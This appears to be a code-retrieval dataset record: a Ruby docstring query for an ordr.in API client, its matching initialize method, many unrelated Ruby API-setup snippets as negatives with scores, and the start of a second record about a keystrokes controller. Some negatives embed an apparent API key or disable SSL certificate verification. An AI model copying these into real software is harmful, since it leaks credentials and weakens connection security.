Sets up this module to make API calls. The first argument is the developer's API key. The other three are the URLs corresponding to the three parts of the api. No API calls will work until this function is called. API objects will only be instantiated for URLs that are passed in. Arguments: api_key The developer's API key servers How the server URLs should be set. Must be :production, :test, or :custom restaurant_url The base url for the restaurant API. Can only be set if servers==:custom. user_url The base url for the user API. Can only be set if servers==:custom. order_url The base url for the order API. Can only be set if servers==:custom.
|
def initialize(api_key, servers, restaurant_url=nil, user_url=nil, order_url=nil)
@api_key = api_key
if servers!=:custom
unless restaurant_url.nil? and user_url.nil? and order_url.nil?
raise ArgumentError.new("Individual URL parameters can only be set if servers is set to :custom")
end
end
if servers==:production
restaurant_url = "https://r.ordr.in/"
user_url = "https://u.ordr.in/"
order_url = "https://o.ordr.in/"
elsif servers==:test
restaurant_url = "https://r-test.ordr.in/"
user_url = "https://u-test.ordr.in/"
order_url = "https://o-test.ordr.in/"
elsif servers!=:custom
raise ArgumentError.new("servers must be set to :production, :test, or :custom")
end
unless restaurant_url.nil?
@restaurant = RestaurantApi.new(api_key, restaurant_url)
end
unless user_url.nil?
@user = UserApi.new(api_key, user_url)
end
unless order_url.nil?
@order = OrderApi.new(api_key, order_url)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(api_url:, api_key:, verbose: false)\n self.api_url = api_url.is_a?(Addressable::URI) ? api_url : Addressable::URI.parse(api_url)\n self.api_key = api_key\n self.verbose = verbose\n end",
"def initialize(api_key:, url_prefix:)\n @api_key = api_key\n @url_prefix = url_prefix\n end",
"def initialize(key)\n @api_key = key\n @@base_api_url = \"http://api.rottentomatoes.com/api/public/#{API_VERSION}\"\n @@movies_query_url = \"#{@@base_api_url}/movies.json?apikey=#{@api_key}\"\n @@lists_query_url = \"#{@@base_api_url}/lists.json?apikey=#{@api_key}\"\n end",
"def initialize(api_key, url='http://localhost:9001/api')\n @uri = URI.parse(url)\n raise ArgumentError, \"#{url} is not a valid url\" unless @uri.host and @uri.port\n @api_key = api_key\n connect!\n end",
"def initialize(apikey='f47a72ab00afe64aab78b9919ee3d427')\n\t\t@api_key = apikey\n\t\t@headers = {\"Accept\" => \"application/JSON\", \"user-key\" => @api_key}\n\t\t@base_uri = \"https://developers.zomato.com/api/v2.1/\"\n\tend",
"def initialize(client_api_key, user_api_key, host)\n endpoint_uri = \"https://#{host}/api/v1\"\n self.class.base_uri(endpoint_uri)\n\n auth_string = \"Rev #{client_api_key}:#{user_api_key}\"\n @default_headers = {\n 'Authorization' => auth_string,\n 'User-Agent' => USER_AGENT # to track usage of SDK\n }\n end",
"def initialize(api_key, options = {})\n @api_key = api_key\n @api_endpoint = DEFAULT_API_ENDPOINT\n end",
"def initialize(server, api_version, api_key)\n self.class.base_uri \"http://#{server}/api/#{api_version}\"\n self.class.headers 'Accept' => 'application/json', \"X-CCApiKey\" => api_key\n end",
"def initialize(apikey=nil, proxy=nil)\n if apikey.nil?\n @apikey = \"fake-7945cb-fake\"\n @siteurl=\"http://scraper-cine-passion-demo.ledez.net\"\n puts '*'*50\n puts \"I need a apikey to get real values\"\n puts \" Please see README to create it\"\n puts \"currently I use theres values :\"\n puts \"@siteurl: #{@siteurl}\"\n puts \"@apikey; #{@apikey}\"\n puts '*'*50\n else\n @apikey = apikey\n @siteurl=\"http://passion-xbmc.org\"\n end\n \n @proxy_host = @proxy_port = @proxy_user = @proxy_password = nil\n if (ENV['http_proxy'] || proxy)\n uri=URI.parse(ENV['http_proxy']) if proxy.nil?\n uri=URI.parse(proxy) if ENV['http_proxy'].nil?\n @proxy_host = uri.host\n @proxy_port = uri.port\n @proxy_user, @proxy_password = uri.userinfo.split(/:/) if uri.userinfo\n end\n @proxyinfo = [@proxy_host, @proxy_port, @proxy_user, @proxy_password]\n \n self.DataReset()\n end",
"def api(options = {})\n @api ||= case url.host\n when String then RestClient::Resource.new(url.host, options)\n else RestClient::Resource.new(API_ENDPOINT.host, options)\n end\n end",
"def initialize(api_key)\n @api_key = api_key\n @data_api_url = 'https://www.altadata.io/data/api/'\n @subscription_api_url = \"https://www.altadata.io/subscription/api/subscriptions?api_key=#{@api_key}\"\n end",
"def initialize(api_key, api_secret, suppress_exceptions = false)\n \n # required parameters\n @api_key = api_key\n @api_secret = api_secret\n \n # calculated parameters\n @api_server_base_url = API_SERVER_BASE_URL\n @api_server_path = API_PATH_REST\n \n # optional parameters\n @suppress_exceptions = suppress_exceptions\n \n # initialize internal state\n @last_call_was_successful = true\n @last_error = nil\n @session_expired = false\n \n end",
"def initialize(api_key, source, config = {})\n raise ArgumentError.new('Your need to specify your api key') unless api_key\n raise ArgumentError.new('You need to specify a source website') unless source\n\n\n defaults = {\n :api_version => API_VERSION\n }\n\n @config = defaults.merge(config).freeze\n @api_key = api_key\n @source = source\n @litmosURL = \"https://api.litmos.com/v#{@config[:api_version]}.svc/\"\n @devURL = \"http://apidev.litmos.com/v#{@config[:api_version]}.svc/\"\n end",
"def initialize(api_key, resource_url)\n @rest_client = RestClient.new(resource_url, api_key)\n end",
"def call_api\n @client.build_url\n @client.get\n assign_data\n end",
"def config(api_id, api_key, options={})\n @api_id = api_id\n @api_key = api_key\n @api_endpoint = URI.parse(options.delete(:url))\n @api_options = options\n end",
"def config(api_id, api_key, options={})\n @api_id = api_id\n @api_key = api_key\n @api_endpoint = URI.parse(options.delete(:url))\n @api_options = options\n end",
"def initialize(api_key, username, password)\n @api_key, @username, @password = api_key, username, password\n setup_client\n end",
"def initialize(api_url)\n\t\turi = URI(api_url)\n\t\tcall_api(uri)\n\tend",
"def initialize( api_key )\n @api_key = api_key\n @cached_requests = {}\n end",
"def initialize(api_key:)\n @api_key = api_key\n end",
"def initialize\n self.api_root = BASE_URL\n end",
"def initialize(api_key)\n @api_key = api_key\n @client = Hurley::Client.new 'http://api.rottentomatoes.com/api/public/v1.0'\n self\n end",
"def initialize(rapid_api_endpoint, rapid_access_key, rapyd_secret_key)\n if rapid_api_endpoint.present? && rapid_access_key.present? && rapyd_secret_key.present?\n self.base_url = rapid_api_endpoint\n self.access_key = rapid_access_key\n self.secret_key = rapyd_secret_key\n self.rest_client = RestClientService.new(base_url)\n else\n raise StandardError, 'Missing paramteres'\n end\n end",
"def initialize(api_key = nil)\n @api_key = api_key\n @api_key ||= Songkickr.api_key\n \n self.class.default_params :apikey => @api_key\n end",
"def initialize(base_url: BASE_URL, api_version: API_VERSION, api_key: API_KEY)\n @base_url = base_url\n @api_version = api_version\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n check_api_key!\n end",
"def initialize(api_key)\n @api_key = api_key\n @url = URI.parse \"http://clients.multimap.com/API/geocode/1.2/#{@api_key}\"\n end",
"def initialize(apikey)\n @apikey = apikey\n end",
"def initialize(api_key)\n raise ArgumentError, 'api_key is required' if api_key == nil || api_key.empty?\n @api_key = api_key\n\t\tend",
"def initialize(api_key: nil)\r\n Configuration.api_key = api_key\r\n end",
"def initialize(api_key)\n @api_key = api_key \n end",
"def initialize(api_key)\n ENTITIES.each do |entity|\n eval(\"Easybill::Api::#{entity}\").authenticate api_key\n end\n self\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend",
"def initialize(*args)\n raise ArgumentError, \"Requires at least the api_key and secret_key when instatiating\" if args.size == 0\n\n base_url = 'https://api.att.com'\n\n if args.size == 1 && args[0].instance_of?(Hash)\n args = args.shift\n @api_key = args[:api_key]\n @secret_key = args[:secret_key]\n @base_url = args[:base_url] || base_url\n set_ssl_verify args[:ssl_verify]\n else\n @api_key = args.shift\n @secret_key = args.shift\n @base_url = args.shift || base_url\n set_ssl_verify args.shift\n end\n\n @grant_type = 'client_credentials'\n @access_token = ''\n @refresh_token = ''\n\n create_connection 'application/json'\n\n get_tokens\n\n Actor.current\n end",
"def initialize(api_key, version = 'v1', base_url = 'http://api.digitalnz.org')\n @api_key = api_key\n @base_url = base_url\n @version = version\n \n if @base_url =~ /^(.*)\\/$/\n @base_url = $1\n end\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @client = HTTPClient.new(\n default_header: {\n 'X-Auth-Token' => api_key,\n 'Content-Type' => 'application/json'\n }\n )\n end",
"def initialize(api_key = Payable.api_key, path = Payable.current_rest_api_path, timeout = API_TIMEOUT, company_id = Payable.company_id)\n raise(\"api_key must be a non-empty string\") if !api_key.is_a?(String) || api_key.empty?\n raise(\"path must be a non-empty string\") if !path.is_a?(String) || path.empty?\n @api_key = api_key\n @path = path\n @timeout = timeout\n @company_id = company_id\n end",
"def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end",
"def initialize( api_key )\n @api_key = api_key\n end",
"def initialize\n @api_user = \"\"\n @api_key = \"\"\n end",
"def initialize(api_key)\n raise Dealmap::ApiKeyMissingError, \"You must supply an API key\" if api_key.nil?\n @api_key = api_key\n @conn = Faraday.new(:url => 'http://api.thedealmap.com') do |builder|\n builder.adapter :typhoeus\n builder.adapter :logger\n end\n end",
"def initialize(api_key, api_secret)\n @api_key = api_key\n @api_secret = api_secret\n @api_base_url = 'https://pepocampaigns.com'\n end",
"def setup_api\n #\n @api = Api.new(current_user)\n\n #\n if white_listed?(path)\n return\n end\n\n #\n token = params[:token] || request.headers['X-Api-Token'] || request.headers['X-API-TOKEN']\n\n unless token.blank?\n user = nil\n token = Token.where(:kind => 'api', :uuid => token.to_s).first\n\n if token and token.context.is_a?(User)\n user = token.context\n end\n\n if user\n @api.user = user\n else\n render(:nothing => true, :status => :unauthorized)\n return\n end\n else\n email, password = http_basic_auth_info\n\n if !email.blank? and !password.blank?\n user = User.where(:email => email).first\n\n if user and user.password == password\n @api.user = user\n else\n headers['WWW-Authenticate'] = ('Basic realm=\"\"' % realm)\n render(:nothing => true, :status => :unauthorized)\n return\n end\n else\n if defined?(current_user) and current_user\n @api.user = current_user\n else\n @api.user = nil\n #headers['WWW-Authenticate'] = ('Basic realm=\"\"' % realm)\n #render(:nothing => true, :status => :unauthorized)\n #return\n end\n end\n end\n\n #\n unless @api.route?(@path) or @path == 'index'\n render :nothing => true, :status => 404\n end\n end",
"def initialize(key = nil, api_key: nil)\n @api_key = key || api_key\n end",
"def initialize(api_client_id = nil, api_secret = nil, tenancy_code = nil, api_root: nil, api_root_auth: nil,\n api_version: nil, logger: nil, tenancy_root: nil, timeout: nil)\n\n self.api_root = api_root || 'https://rl.talis.com'\n self.api_root_auth = api_root_auth || 'https://users.talis.com/1/oauth/tokens'\n self.api_version = api_version || 2\n self.logger = logger\n self.rate_limit = nil\n self.rate_remaining = nil\n self.rate_reset = nil\n self.tenancy_code = tenancy_code\n self.tenancy_root = tenancy_root\n self.timeout = timeout.to_i\n\n @api_client_id = api_client_id\n @api_secret = api_secret\n @api_token = nil\n\n RestClient.log = self.logger if self.logger\n\n end",
"def initialize (api_key)\n\t\t@params = {\n\t\t\t\"key\" => api_key,\n\t\t\t\"wrapper\" => \"cleverbotrb\"\n\t\t}\n\t\t@endpoint = ENDPOINT\n\tend",
"def api(params = {})\n Celluloid::Logger.info \"Registering api...\"\n self.use_api = true\n self.api_host = params[:host] || '127.0.0.1'\n self.api_port = params[:port] || '4321'\n end",
"def set_api_key(api_key)\n @api_key = api_key\n end",
"def initialize(public_key=nil, secret_key=nil, production=false)\n @public_key = public_key\n @secret_key = secret_key\n @production = production\n\n okra_sandbox_url = BASE_ENDPOINTS::OKRA_SANDBOX_URL\n okra_live_url = BASE_ENDPOINTS::OKRA_LIVE_URL\n\n #set okra url to sandbox or live if we are in production or development\n\n if production ==false\n @url = okra_sandbox_url\n else\n @url = okra_live_url\n end\n\n def base_url\n return url\n end\n\n #check if we set our public, secret keys to the environment variable\n\n if (public_key.nil?)\n @public_key = ENV['OKRA_PUBLIC_KEY']\n else\n @public_key = public_key\n end\n\n if (secret_key.nil?)\n @secret_key = ENV['OKRA_SECRET_KEY']\n else\n @secret_key = secret_key\n end\n\n warn \"Warning: To ensure your okra api keys are safe, It is best to always set your keys in the environment variable\"\n\n #raise this error if no public key is passed\n\n unless !@public_key.nil?\n\n raise OkraBadKeyError, \"No public key supplied and couldn't find any in environment variables. Make sure to set public key as an environment variable OKRA_PUBLIC_KEY\"\n end\n\n #raise this error if no secret key is passed\n\n unless !@secret_key.nil?\n\n raise OkraBadKeyError, \"No secret key supplied and couldn't find any in environment variables. Make sure to set secret key as an environment variable OKRA_SECRET_KEY\"\n end\n\n end",
"def stub_api_init(source_types:, tenants:, application_types: nil, applications:, topology_sources:)\n stub_api_source_types_get(:response => source_types)\n stub_api_applications_get(:response => applications)\n stub_api_application_types_get(:response => application_types) if application_types\n stub_api_tenants_get(tenants)\n stub_api_topology_sources_get(:response => topology_sources)\n end",
"def setup_api_client\n # see http://rubydoc.info/github/heroku/databasedotcom/master/Databasedotcom/Client:initialize\n # add :debugging => true to constructor hash to log API request/responses\n #u = current_user\n #debugger\n @client = Databasedotcom::Client.new({})\n @client.version = API_VERSION\n @client.authenticate :token => @current_user.access_token,\n :refresh_token => @current_user.refresh_token,\n :instance_url => @current_user.instance_url\n @client.materialize(\"Account\")\n end",
"def initialize(long_url, api_key = nil)\n modify_headers('Content-Type' => 'application/json')\n\n url = api_key.nil? ? API_URL : \"#{API_URL}?key=#{api_key}\"\n options = {\"longUrl\" => long_url}.to_json\n \n resp = post(url, :body => options)\n if resp.code == 200\n self.short_url = resp['id']\n self.long_url = resp['longUrl']\n else\n raise exception(resp.parsed_response)\n end\n end",
"def initialize(access_token:, url: 'https://api.base-api.io')\n @users =\n Endpoints::Users.new(\n access_token: access_token,\n url: url\n )\n\n @files =\n Endpoints::Files.new(\n access_token: access_token,\n url: url\n )\n\n @images =\n Endpoints::Images.new(\n access_token: access_token,\n url: url\n )\n\n @sessions =\n Endpoints::Sessions.new(\n access_token: access_token,\n url: url\n )\n\n @emails =\n Endpoints::Emails.new(\n access_token: access_token,\n url: url\n )\n\n @passwords =\n Endpoints::Passwords.new(\n access_token: access_token,\n url: url\n )\n\n @mailing_lists =\n Endpoints::MailingLists.new(\n access_token: access_token,\n url: url\n )\n\n @forms =\n Endpoints::Forms.new(\n access_token: access_token,\n url: url\n )\n end",
"def initialize(api_key, api_url = 'https://api.telerivet.com/v1')\n @api_key = api_key\n @api_url = api_url\n @num_requests = 0\n @session = nil\n end",
"def initialize(api_url, app_name = DEFAULT_APP_NAME)\n @app_name = app_name\n @key = Digest::MD5.hexdigest(@app_name)\n @api_endpoint = \"http://#{api_url}/api\"\n end",
"def set_api_key\n\t\tself.api_key = ApiKey.create()\n\tend",
"def initialize(api_key)\n @api_key = api_key\n self.class.headers({\n \"X-API-Key\" => @api_key,\n \"Accept\" => \"application/json\"\n })\n end",
"def api(api_key = nil)\n # For whatever reason, unless we provide a truthy API key, Turbot::API's\n # initializer immediately attempts to `#get_api_key_for_credentials`.\n api_key ||= email_address_and_api_key[1] || ''\n turbot_api.new(turbot_api_parameters.merge(:api_key => api_key))\n end",
"def initialize(api_key = nil, api_version = nil, url = nil, username = nil, password = nil, options = {})\n load_yaml\n if load_yaml\n @api_key = load_yaml['api_key']\n @api_version = load_yaml['api_version']\n @options = load_yaml['options']\n @password = load_yaml['password']\n @url = load_yaml['url']\n @username = load_yaml['username']\n else\n @api_key = api_key\n @api_version = api_version\n @options = options\n @password = password\n @url = url\n @username = username\n end\n end",
"def initialize(params)\n\n fail 'missing API Base URL' if params[:api_base_url].nil?\n fail 'missing API Key' if params[:api_key].nil?\n fail 'missing API Secret' if params[:api_secret].nil?\n\n params[:api_base_url] = params[:api_base_url].gsub(/\\/$/, '') # remove trailing slash\n params[:api_spec] = false if params[:api_spec].nil?\n\n set_manifest(params)\n\n end",
"def initialize(url, user = nil, password = nil, use_proxy = false)\n user = ENV['CENTREON_USERNAME'] if user.nil?\n password = ENV['CENTREON_PASSWORD'] if password.nil?\n\n # Disable proxy\n RestClient.proxy = if use_proxy\n ENV['http_proxy']\n else\n nil\n end\n RestClient.log = logger\n\n # Checks parameters\n if url.nil? || url.empty?\n raise('You must provider API URL')\n end\n if user.nil? || user.empty?\n raise('You must provider username to connect on API')\n end\n if password.nil? || password.empty?\n raise('You must provider password to connect on API')\n end\n\n # Authenticate\n r = ::RestClient::Resource.new(\n url + '?action=authenticate',\n verify_ssl: OpenSSL::SSL::VERIFY_NONE,\n ).post(\n username: user,\n password: password,\n )\n data = JSON.parse(r.body)\n if data['authToken'].empty?\n raise 'Token is empty'\n end\n\n # Create client\n @client = ::RestClient::Resource.new(\n url + '?action=action&object=centreon_clapi',\n headers: { 'centreon-auth-token' => data['authToken'] },\n verify_ssl: OpenSSL::SSL::VERIFY_NONE,\n )\n\n @host = Centreon::APIClient::Host.new(@client)\n @host_group = Centreon::APIClient::HostGroup.new(@client)\n @service = Centreon::APIClient::Service.new(@client)\n @host_template = Centreon::APIClient::HostTemplate.new(@client)\n @service_template = Centreon::APIClient::ServiceTemplate.new(@client)\n @service_group = Centreon::APIClient::ServiceGroup.new(@client)\n @command = Centreon::APIClient::Command.new(@client)\n end",
"def initialize(api_key, options = {})\n $api_key = api_key\n $redis = options[:redis] || Redis.new\n $debug = options[:debug] || false\n end",
"def initialize(api_key)\n @client = Juicer::Client.new(api_key)\n end",
"def api_url\n api_key? ? base_url.concat(api_query_parameter) : base_url\n end",
"def initialize(api_key=nil)\n @api_key = api_key\n @api_key ||= SocialMediaMonitoring.api_key\n @api_path = ''\n\n end",
"def construct_url\n @@API_URL + city + @@API_KEY\n end",
"def initialize_api_endpoint\n if PrMigrator.configuration.github_enterprise_endpoint\n Octokit.configure do |c|\n c.api_endpoint = PrMigrator.configuration.github_enterprise_endpoint\n end\n end\n end",
"def initialize hostname, user=nil, apikey=nil\n @user = user\n @apikey = apikey\n @hostname = hostname\n initialize_connection @hostname\n end",
"def initialize(api_key=nil)\n @api_key = api_key || ENV['KULER_API_KEY'] || raise(ArgumentError, 'no API key found')\n end",
"def initialize(api_key, delivery_token, environment, options={})\n @region = options[:region].nil? ? Contentstack::Region::US : options[:region]\n @host = options[:host].nil? ? get_default_region_hosts(@region) : options[:host]\n API.init_api(api_key, delivery_token, environment, @host)\n end",
"def initialize username, apikey\n\t\t@username = username\n\t\t@apikey = apikey\n\tend",
"def initialize(key, version)\n # Sets API key and Version\n # Set api_key and check its correct format\n raise 'Version must be 1 or 2' unless %w[1 2].include?(version)\n\n warn('Warning: API key `1` is only for development') if key.to_s == '1'\n @version = version\n @key = key.to_s\n @api_url = API_ENDPOINT + \"/v#{@version}/#{@key}/\"\n end",
"def initialize(api_key, params = {})\n @filters = []\n @api_key = api_key\n\n notify_host = URI.parse(params[:notify_host] || DEFAULT_NOTIFY_HOST)\n @transport = params.delete :transport\n if @transport and not params[:notify_host]\n notify_host.scheme = 'https' if @transport.use_ssl?\n notify_host.host = @transport.address\n notify_host.port = @transport.port\n end\n\n @error_url = URI.parse(params.delete(:error_url) || \"#{notify_host}/notifier_api/v2/notices\")\n @deploy_url = URI.parse(params.delete(:deploy_url) || \"#{notify_host}/deploys.txt\")\n\n validate!\n end",
"def prepare\n @api = BigBlueButton::BigBlueButtonApi.new(URL, SECRET, VERSION.to_s, true)\n end",
"def api\n {\n 'host' => self['apiHost'],\n 'password' => self['apiPassword'],\n 'path' => self['apiPath'],\n 'port' => self['apiPort'],\n 'protocol' => self['apiProtocol'],\n 'username' => self['apiUsername']\n }\n end",
"def initialize(api_key = nil, shared_secret = nil, options = nil)\n @api_key = api_key || @@default_api_key\n @shared_secret = shared_secret || @@default_shared_secret\n @options = options || @@default_options\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n end",
"def initialize(url, options = {})\n # sets the URL to be shortened\n self.url = url\n # allows an instance-level override for the api key\n @api_key = options[:api_key]\n # allows an instance-level override for the timeout\n @timeout = options[:timeout]\n # allows an instance-level override for the proxy\n @proxy = URI(options[:proxy]) if options[:proxy]\n end",
"def setup_api_module\n @module_name = @project_name.split('_').map(&:capitalize).join('')\n create_api_module\n config_server\n end",
"def initialize(api_key, secret, api_uri)\n @api_key = api_key\n @secret = secret\n @api_uri = api_uri\n end",
"def initialize(api_key, options = {})\n fail ArgumentError, 'You must set an api_key.' unless api_key\n validate_api_key(api_key)\n @api_key = api_key\n @api_vintage = options[:vintage] || 2010\n if options[:dataset] && DATASETS.include?(options[:dataset].downcase)\n @dataset = options[:dataset].downcase\n end\n end",
"def initialize(api_client_id = nil, api_secret = nil, tenancy_code = nil,\n **opts)\n super(tenancy_code, **opts)\n @api_client_id = api_client_id\n @api_secret = api_secret\n @api_token = nil\n self.api_root = opts[:api_root] || API_ROOT\n self.api_root_auth = opts[:api_root_auth] || API_ROOT_AUTH\n self.api_version = opts[:api_version] || 2\n rate_limit\n end",
"def api_url\n \"#{protocol}://api:#{api_key}@#{host}/#{api_version}\"\n end",
"def initialize(key, region)\n\t\t\t@api_key = key\n\t\t\t@region = region\n\t\t\t@api_suffix = \"?api_key=\" + @api_key\n\t\t\t@entry_point = \"http://prod.api.pvp.net/api/lol/\" + @region +\"/v1.1/\"\n\t\tend",
"def api_calls\n @dotcoms = Dotcom.active\n @apis = @dotcom&.apis || [] # ActiveRecord::Associations::CollectionProxy of Apis\n if not @api.nil? and @api.mode == 'demo_api'\n api = Api.find_by dotcom: @dotcom, mode: 'public_api'\n @calls = api.calls.active.rest_get\n else\n @calls = @api&.calls || [] # ActiveRecord::Associations::CollectionProxy of ApiMethods\n end\n\n unless @call.nil?\n if (@call.rest_get?)\n @request = GetRequest.new(dotcom: @dotcom, api: @api, call: @call, extension: demo_extension, options: demo_options)\n @response = @request.send\n else\n @request = PostRequest.new(dotcom: @dotcom, api: @api, call: @call, extension: demo_extension, options: demo_options)\n @body = demo_body\n @response = @request.send(body: @body)\n end\n @error_msg = request_error_check @response\n end\n end",
"def initialize(api_key)\n @api_key = api_key\n @last_error = \"\"\n @last_error_code = \"\" \n end",
"def initialize(api_key)\n @api_key = api_key\n @conn = Faraday.new\n end",
"def initialize hostname, user=nil, apikey=nil\n @hostname = hostname\n @user = user\n @apikey = apikey\n create_connection\n collect_site_details\n end",
"def initialize(key, secret_key)\n @api_request = APIRequest.new(key, secret_key)\n\n @product_resource = ProductResource.new(@api_request,\n '/product/',\n Product)\n @plan_resource = PlanResource.new(@api_request,\n '/plan/',\n Plan)\n @tax_resource = TaxResource.new(@api_request,\n '/tax/',\n Tax)\n @shipping_resource = ShippingResource.new(@api_request,\n '/shipping/',\n Shipping)\n @coupon_resource = CouponResource.new(@api_request,\n '/coupon/',\n Coupon)\n @transaction_resource = TransactionResource.new(@api_request,\n '/transaction/',\n Transaction)\n @subscription_resource = SubscriptionResource.new(@api_request,\n '/subscription/',\n Subscription)\n @authorization_resource = AuthorizationResource.new(@api_request,\n '/authorization/',\n Authorization)\n @sale_resource = SaleResource.new(@api_request,\n '/sale/',\n Sale)\n @currency_resource = CurrencyResource.new(@api_request,\n '/currency/',\n Currency)\n @gateway_resource = GatewayResource.new(@api_request,\n '/gateway/',\n Gateway)\n @pay_data_resource = PayDataResource.new(@api_request,\n '/pay/',\n PayData)\n end",
"def initialize(api_obj)\n @api_obj = api_obj\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def set_api(*args); end",
"def set_api(*args); end",
"def initialize (user_id, api_key, secret)\n @secret = secret\n @api_key = api_key\n @user = user_id\n @batch = nil\n\n self.protocol = 'https'\n self.host = 'sandbox.bunchball.net'\n self.accepts = 'json'\n end",
"def initialize(api_key, region = 'na')\n @api_key = api_key\n @region = region\n @http = Hurley::Client.new\n @http.header[:content_type] = 'application/json'\n @http.query['api_key'] = api_key\n end",
"def api_url\n \"#{@@base_url}/#{format}/#{resource}?apikey=#{@@api_key}#{parameters}\"\n end"
] |
[
"0.66801316",
"0.6490914",
"0.6483077",
"0.6398358",
"0.6366513",
"0.63611907",
"0.636038",
"0.6358908",
"0.6353611",
"0.6291196",
"0.6273451",
"0.62396616",
"0.62153476",
"0.6182823",
"0.6145325",
"0.6129982",
"0.6129982",
"0.6090915",
"0.60746026",
"0.606189",
"0.606037",
"0.60481745",
"0.604521",
"0.60344636",
"0.6032155",
"0.60175204",
"0.6004427",
"0.600243",
"0.5996203",
"0.598101",
"0.5974946",
"0.5961413",
"0.59564286",
"0.59325975",
"0.59325975",
"0.59325975",
"0.5923559",
"0.59213626",
"0.5909311",
"0.58987445",
"0.5894873",
"0.5884945",
"0.58810884",
"0.58799076",
"0.58615065",
"0.5860728",
"0.5856268",
"0.5854245",
"0.5850917",
"0.58471334",
"0.58427197",
"0.5829813",
"0.5823714",
"0.5820273",
"0.5806069",
"0.58030987",
"0.5782814",
"0.57761514",
"0.57419825",
"0.57346374",
"0.57305276",
"0.57248175",
"0.5721766",
"0.57202196",
"0.5706316",
"0.5701022",
"0.5697428",
"0.56971884",
"0.5684364",
"0.5663301",
"0.5654277",
"0.5651163",
"0.5644414",
"0.5622138",
"0.5615171",
"0.5610917",
"0.55870974",
"0.55821884",
"0.55743957",
"0.55694425",
"0.55690455",
"0.55686533",
"0.55630183",
"0.55553865",
"0.5542271",
"0.5541529",
"0.5540976",
"0.5539955",
"0.5537634",
"0.55347806",
"0.55286944",
"0.5526396",
"0.5516631",
"0.5513355",
"0.5512027",
"0.5507887",
"0.5507887",
"0.5502388",
"0.55002236",
"0.5497852"
] |
0.77412903
|
0
|
GET /keystrokes/1 GET /keystrokes/1.json
|
def show
@keystroke = Keystroke.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @keystroke }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @keystroke = Keystroke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def create\n @keystroke = Keystroke.new(params[:keystroke])\n\n respond_to do |format|\n if @keystroke.save\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully created.' }\n format.json { render json: @keystroke, status: :created, location: @keystroke }\n else\n format.html { render action: \"new\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get(key)\n send_command([:get, key])\n end",
"def update\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n if @keystroke.update_attributes(params[:keystroke])\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @key = Key.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key }\n end\n end",
"def index\n @strokes = Stroke.all\n end",
"def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end",
"def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end",
"def show \n render json: @key\n end",
"def show\n @key_pair = KeyPair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_pair }\n end\n end",
"def index\n @keys = Key.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keys }\n end\n end",
"def show\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut }\n\t\t\tformat.json { render :json => @keyboard_shortcut }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def index\n @keys = Key.all\n render json: @keys\n end",
"def show\n @key_word_set = KeyWordSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_word_set }\n end\n end",
"def show\n @keyholder = Keyholder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @keyholder }\n end\n end",
"def index\n\t\t@keyboard_shortcuts = current_user.keyboard_shortcuts.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcuts }\n\t\t\tformat.json { render :json => @keyboard_shortcuts }\n\t\t\tformat.yaml { render :text => @keyboard_shortcuts.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def show\n @title = \"Key Word\"\n @key_word = KeyWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: KeyWordArticle.map_json_data(@key_word) }\n end\n end",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
